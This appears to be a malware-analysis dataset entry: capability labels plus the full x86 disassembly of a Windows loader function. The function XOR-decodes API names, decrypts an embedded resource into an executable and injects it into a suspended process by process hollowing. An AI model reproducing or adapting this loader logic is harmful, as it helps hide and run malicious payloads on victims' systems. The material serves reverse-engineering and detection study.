Function at 0x402db0
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Extract resource via kernel32 functions
Link many functions at runtime
Resume thread

Disassembly:
sub esp, 0x350
mov eax, dword [0x41e184]
xor eax, esp
mov dword [esp + 0x34c], eax
mov eax, dword [esp + 0x354]
push ebx
push ebp
push esi
lea edx, [esp + 0x33c]
push edi
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x402dd8
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.ifvkck___o_a
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.ifvkck___o_a
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x402e2a
xor cl, cl
test esi, esi
jbe 0x402e2a
xor eax, eax
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402e15
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x420100
call ebp
push str.wpaw55mfg
mov dword [esp + 0x18], eax
call edi
push str.wpaw55mfg
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x402e75
xor cl, cl
test esi, esi
jbe 0x402e75
xor eax, eax
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402e60
push 0x420100
call ebp
push str.cgrdvn___o_a
call edi
push str.cgrdvn___o_a
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x402eb6
xor cl, cl
test esi, esi
jbe 0x402eb6
xor eax, eax
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402ea1
push 0x420100
call ebp
push str.ujjlhbng_
call edi
push str.ujjlhbng_
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x402ef7
xor cl, cl
test esi, esi
jbe 0x402ef7
xor eax, eax
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402ee2
push 0x420100
call ebp
push str.qkaij4:ng_
call edi
push str.qkaij4:ng_
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x402f38
xor cl, cl
test esi, esi
jbe 0x402f38
xor eax, eax
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402f23
push 0x420100
call ebp
push str.Alt_ndlK
call edi
push str.Alt_ndlK
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x402f79
xor cl, cl
test esi, esi
jbe 0x402f79
xor eax, eax
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402f64
mov eax, dword [esp + 0x14]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x420100
push eax
call ebp
push str.AqadrbN_fnM
mov dword [0x420310], eax
call edi
push str.AqadrbN_fnM
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x402fca
xor cl, cl
test esi, esi
jbe 0x402fca
xor eax, eax
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x402fb5
mov eax, dword [esp + 0x14]
push 0x420100
push eax
call ebp
push str.AokvcOigngi
mov dword [0x420204], eax
call edi
push str.AokvcOigngi
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x403015
xor cl, cl
test esi, esi
jbe 0x403015
xor eax, eax
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x403000
mov eax, dword [esp + 0x14]
push 0x420100
push eax
call ebp
push str.EfpHiceoMeakAqwR
mov dword [0x4200f0], eax
call edi
push str.EfpHiceoMeakAqwR
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x403065
xor cl, cl
test esi, esi
jbe 0x403065
xor eax, eax
jmp 0x403050
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x403050
mov eax, dword [esp + 0x14]
push 0x420100
push eax
call ebp
push str.UqmqcWzfin
mov dword [0x420308], eax
call edi
push str.UqmqcWzfin
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x4030b5
xor cl, cl
test esi, esi
jbe 0x4030b5
xor eax, eax
jmp 0x4030a0
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x4030a0
mov eax, dword [esp + 0x14]
push 0x420100
push eax
call ebp
push str.TjvqsfdYxdxhmUi
mov dword [0x420314], eax
call edi
push str.TjvqsfdYxdxhmUi
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x403105
xor cl, cl
test esi, esi
jbe 0x403105
xor eax, eax
jmp 0x4030f0
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x4030f0
mov eax, dword [esp + 0x14]
push 0x420100
push eax
call ebp
push str.EfpHiceoCmcjcuP
mov dword [0x4200fc], eax
call edi
push str.EfpHiceoCmcjcuP
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x403155
xor cl, cl
test esi, esi
jbe 0x403155
xor eax, eax
jmp 0x403140
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x403140
mov eax, dword [esp + 0x14]
push 0x420100
push eax
call ebp
push str.QfpQnumhnHcczjhe
mov dword [0x4200f4], eax
call edi
push str.QfpQnumhnHcczjhe
push 0x420100
mov esi, eax
call ebx
cmp esi, 0x104
jae 0x4031a5
xor cl, cl
test esi, esi
jbe 0x4031a5
xor eax, eax
jmp 0x403190
mov dl, cl
add dl, 2
xor byte [eax + 0x420100], dl
add cl, 1
movzx eax, cl
cmp eax, esi
jb 0x403190
mov eax, dword [esp + 0x14]
push 0x420100
push eax
call ebp
push 0
mov dword [0x4200f8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0xff
push 0x420208
push 0
mov esi, eax
call dword [0x420308]
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0x1233
push 0x2000
push esi
call edi
test eax, eax
je 0x40345c
mov ebx, dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
push esi
call ebx
test eax, eax
je 0x40345c
push 0x1233
push 0x2000
push esi
call edi
test eax, eax
je 0x403214
push eax
push esi
call ebx
push eax
call fcn.00407c42
mov ebx, eax
push ebx
call fcn.00406a8d
add esp, 8
push 0x1233
push 0x1000
push esi
call edi
test eax, eax
jne 0x40323a
xor edi, edi
jmp 0x403244
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
xor esi, esi
test ebx, ebx
jl 0x40327c
lea ebx, [ebx]
movzx ecx, byte [esi + edi]
lea edx, [esp + 0x340]
push edx
lea eax, [esp + 0x1f]
push eax
mov byte [esp + 0x23], cl
call fcn.00402c80
movzx ecx, byte [esp + 0x23]
mov byte [esi + edi], cl
add esi, 1
add esp, 8
cmp esi, ebx
jle 0x403250
push 0x44
lea edx, [esp + 0x2c]
push 0
push edx
mov byte [edi], 0x4d
mov byte [edi + 1], 0x5a
mov dword [esp + 0x7c], 0x10002
call fcn.0040af00
add esp, 0xc
xor eax, eax
mov dword [esp + 0x340], eax
mov dword [esp + 0x344], eax
mov dword [esp + 0x348], eax
mov dword [esp + 0x34c], eax
lea eax, [esp + 0x340]
push eax
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0x420208
push 0
mov dword [esp + 0x50], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [esp + 0x344]
lea edx, [esp + 0x70]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [esp + 0x114]
lea ecx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x344]
push 4
lea edx, [esp + 0x1c]
push edx
add eax, 8
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push str.ZwUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call ebp
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x340]
push edx
push ecx
call eax
mov esi, dword [edi + 0x3c]
mov edx, dword [esi + edi + 0x50]
mov eax, dword [esi + edi + 0x34]
push 4
add esi, edi
push 0x3000
push edx
push eax
mov eax, dword [esp + 0x350]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x14], eax
mov edx, dword [esi + 0x54]
lea ecx, [esp + 0x1c]
push ecx
push edx
push edi
push eax
mov eax, dword [esp + 0x350]
push eax
call dword [0x420314]
movzx ecx, word [esi + 0x14]
lea eax, [ecx + esi + 0x18]
xor ebp, ebp
lea ebx, [eax + 0x10]
mov ecx, dword [ebx + 4]
mov eax, dword [ebx - 4]
add eax, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push edx
mov edx, dword [ebx]
push edx
add ecx, edi
push ecx
push eax
mov eax, dword [esp + 0x350]
push eax
call dword [0x420314]
test eax, eax
je 0x4033db
mov edx, dword [ebx + 0x14]
mov eax, dword [ebx - 8]
lea ecx, [esp + 0x24]
push ecx
mov ecx, dword [ebx - 4]
add ecx, dword [esp + 0x18]
push edx
mov edx, dword [esp + 0x348]
push eax
push ecx
push edx
call dword [0x4200fc]
movzx eax, word [esi + 6]
add ebp, 1
sub eax, 1
add ebx, 0x28
cmp ebp, eax
jbe 0x403390
mov eax, dword [esp + 0x114]
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x344]
push 4
lea edx, [esp + 0x1c]
push edx
add eax, 8
push eax
push ecx
call dword [0x420314]
mov edx, dword [esi + 0x28]
add edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x344]
lea eax, [esp + 0x70]
push eax
push ecx
mov dword [esp + 0x128], edx
call dword [0x4200f8]
mov edx, dword [esp + 0x344]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [esp + 0x340]
push eax
call dword [0x4200f0]
mov ecx, dword [esp + 0x344]
push ecx
call dword [0x4200f0]
mov ecx, dword [esp + 0x35c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004066c5
add esp, 0x350
ret